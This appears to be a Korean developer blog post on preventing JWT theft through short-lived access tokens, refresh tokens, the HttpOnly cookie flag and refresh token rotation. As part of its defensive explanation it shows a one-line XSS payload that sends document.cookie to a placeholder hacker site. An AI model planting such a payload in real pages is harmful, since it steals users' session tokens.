토큰(token)의 탈취를 최대한 예방하기

서론

먼저 간단하게 토큰에 대해 설명하면 토큰이란 서버가 각각의 클라이언트가 누구인지 구별할 수 있도록 사용자의 유니크한 정보를 담은 암호화된 데이터입니다. 사용자는 토큰 유효 기간 동안 동일한 웹페이지나 앱, 혹은 그 밖에 해당 토큰을 사용하는 리소스로 돌아갈 때마다 자격 증명을 다시 입력할 필요 없이 토큰이 발급된 웹사이트나 앱에 액세스 할 수 있습니다.

이렇듯 토큰은 토큰 자체에 사용자의 권한 정보나 서비스를 사용하기 위한 정보가 포함되어 있습니다. 여기서 Json 포맷을 이용하여 사용자에 대한 속성을 저장하는 Web Token을 JWT(Json Web Token)이라고 부르는데, 이번 포스팅에서는 이러한 JWT토큰의 탈취에 대처하는 방법에 대해서 정리해 보겠습니다.

목차

1. Access Token과 Refresh Token으로 분리하기
2. Http Only 설정하기
3. Refresh Token Rotation(RTR) 방법

 

 

Access Token과 Refresh Token으로 분리하기

토큰 기반의 인증 방식에서 토큰은 세션과 다르게 무상태(stateless) 하다는 특징을 가지고 있습니다. 그래서 서버가 상태를 보관하고 있지 않으며, 서버는 토큰에 대해 제어권을 가지고 있지 않습니다. 따라서 서버에서는 해당 토큰을 즉시 만료시킬 수 없기에 토큰이 한번 탈취당하면 매우 곤란한 상황에 빠지게 됩니다.

해당 문제에 최대한 대처하기 위해 우리는 토큰을 Access Token과 Refresh Token의 두 가지 분류로 나눌 수 있습니다.

• Access Token: 유효 기간이 짧은(주로 분 단위)의 토큰, 리소스에 접근하기 위해 사용함
• Refresh Token: 유효 기간이 긴(주로 일 단위)의 토큰, Access Token을 재발급받기 위해 사용함

Access Token과 Refresh Token의 간단한 플로우

1. 클라이언트가 회원가입 혹은 로그인에 성공하면 서버는 응답값으로 Access Token과 Refresh Token을 함께 제공한다.
2. 클라이언트는 API를 호출할 때 Access Token 담아 보내고, 서버에서 Access Token을 통해 유저를 인증한다.
3. 만약 Access Token의 유효 기간이 만료되었다면, 클라이언트는 Refresh Token을 서버에 전달하여 새로운 Access Token을 발급받는다.

Access Token과 Refresh Token을 사용할 때의 간단한 플로우는 위와 같습니다.

Access Token과 Refresh Token으로 나누고, Access Token을 통해 통신함으로써, 악의적 이용자에 의해 Access Token이 탈취당하더라도 유효기간이 짧기에 크게 부담이 되지 않고, 주 통신은 Access Token으로 이루어지기 때문에 Refresh Token이 탈취당할 가능성을 크게 줄일 수 있습니다.

 

 

Http Only 설정하기

하지만 우리는 아직 의문점이 남아있습니다. 그렇다면 Refresh Token이 탈취당하면 어떻게 될까요? Access Token은 유효기간이 짧기에 탈취당하더라도 곧 만료될 거라는 조금의 안심을 할 수 있지만 Refresh Token은 그렇지 않습니다. Refresh Token으로 얼마든지 Access Token을 발급받아 악의적 이용을 할 수 있기 때문입니다.

대부분의 클라이언트는 쿠키에 Token을 저장하며,  클라이언트는 모든 요청(Request)에 쿠키를 포함하여 서버로 전달합니다. 브라우저에서 이러한 쿠키를 확인하는 방법은 굉장히 쉽습니다.

먼저 정말로 쿠키에 담기는지 한번 확인해 보겠습니다.

개발자모드 - Application - Cookies

토큰의 이름은 플랫폼마다 다르겠지만 token이 쿠키에 저장되어 있는 것을 확인할 수 있습니다.

쿠키는 클라이언트에서 자바스크립트로 조회할 수 있기 때문에, 해커들은 자바스크립트로 쿠키를 가로채고자 시도를 하게 됩니다. 가장 대표적인 공격 중 하나가 XSS(Cross Site Scripting)입니다.

location.href = 'http://해커사이트/?cookies=' + document.cookie;

악의적 사용자가 위와 같은 게시물을 게시판에 작성한 뒤, 다른 이용자가 게시물을 읽게 되면 자바스크립트 명령이 실행되어 악의적 이용자의 사이트로 이동되며 이전 웹에 담겨있든 모든 cookie정보가 해당 URL 쿼리에 담기게 되며 넘어가게 됩니다.

개발자모드 - console - document.cookie;

실제로 console 창에 document.cookie;를 통해 cookie 값을 불러올 수 있는 것을 확인할 수 있습니다.

따라서 이러한 CSS 취약점을 해결하는 방법은, 브라우저에서 쿠키에 접근할 수 없도록 제한하는 것입니다. 이러한 역할을 하는 것이 바로 HTTP Only Cookie 설정인데, HttpOnly 속성은 클라이언트(브라우저 등)에서 설정할 수 없는 옵션이며, 서버단에서 설정할 수 있는 옵션입니다. 서버에서 다음과 같이 간단한 접미사를 쿠키생성코드에 추가함으로써 활성화할 수 있습니다.

Set-Cookie: 쿠키명=쿠키값; path=/; HttpOnly

가장 마지막에 HttpOnly라는 접미사만 추가함으로써 HTTP Only Cookie가 활성화되며, 위에서 말한 XSS와 같은 공격이 차단되게 됩니다. HTTP Only Cookie를 설정하면 브라우저에서 해당 쿠키로 접근할 수 없게 되지만, 쿠키에 포함된 정보의 대부분이 브라우저에서 접근할 필요가 없기 때문에 HTTP Only Cookie는 기본적으로 적용하는 것이 좋습니다.

httpOnly 설정이 된 것들

실제로 민감한 정보들은 HttpOnly 설정이 되어있는 것을 확인할 수 있습니다.

정리하면 HttpOnly는 document.cookie를 이용해서 누군가가 쿠키를 확인하지 못하도록 제한하는 설정입니다.

 

 

Refresh Token Rotation(RTR) 방법

만약 HttpOnly와 Secure가 적용된 Cookie에도 토큰을 저장하는 것이 믿음직하지 못하다면 Refresh Token을 로테이션시키는 방법도 존재합니다.

Refresh Token Ratation(RTR)이란 Access Token이 만료되고 Refresh Token으로 새로운 Access Token을 받아올 때, 새로운 Refresh Token도 받아오도록 하는 방법입니다. 즉. Refresh Token이 사용될 때마다 새로운 Access Token과 Refresh Token을 발급하여 이전에 발급된 Token들은 사용이 불가능하도록 하는 것입니다.

RTR (Refresh Token Rotation) 플로우

이렇게 구성하면 Refresh Token은 일회용 이기 때문에, 두 번 이상 Refresh Token을 사용하게 되면 탈취된 것으로 간주하고 조치를 취할 수 있게 됩니다. 다만 사용되지 않은 Refresh Token을 훔쳐 사용하거나, 지속적으로 Access Token만을 탈취한다면 막을 수 없습니다.

 

 

참고

1. https://nsinc.tistory.com/121
2. https://hudi.blog/refresh-token/
3. https://theheydaze.tistory.com/550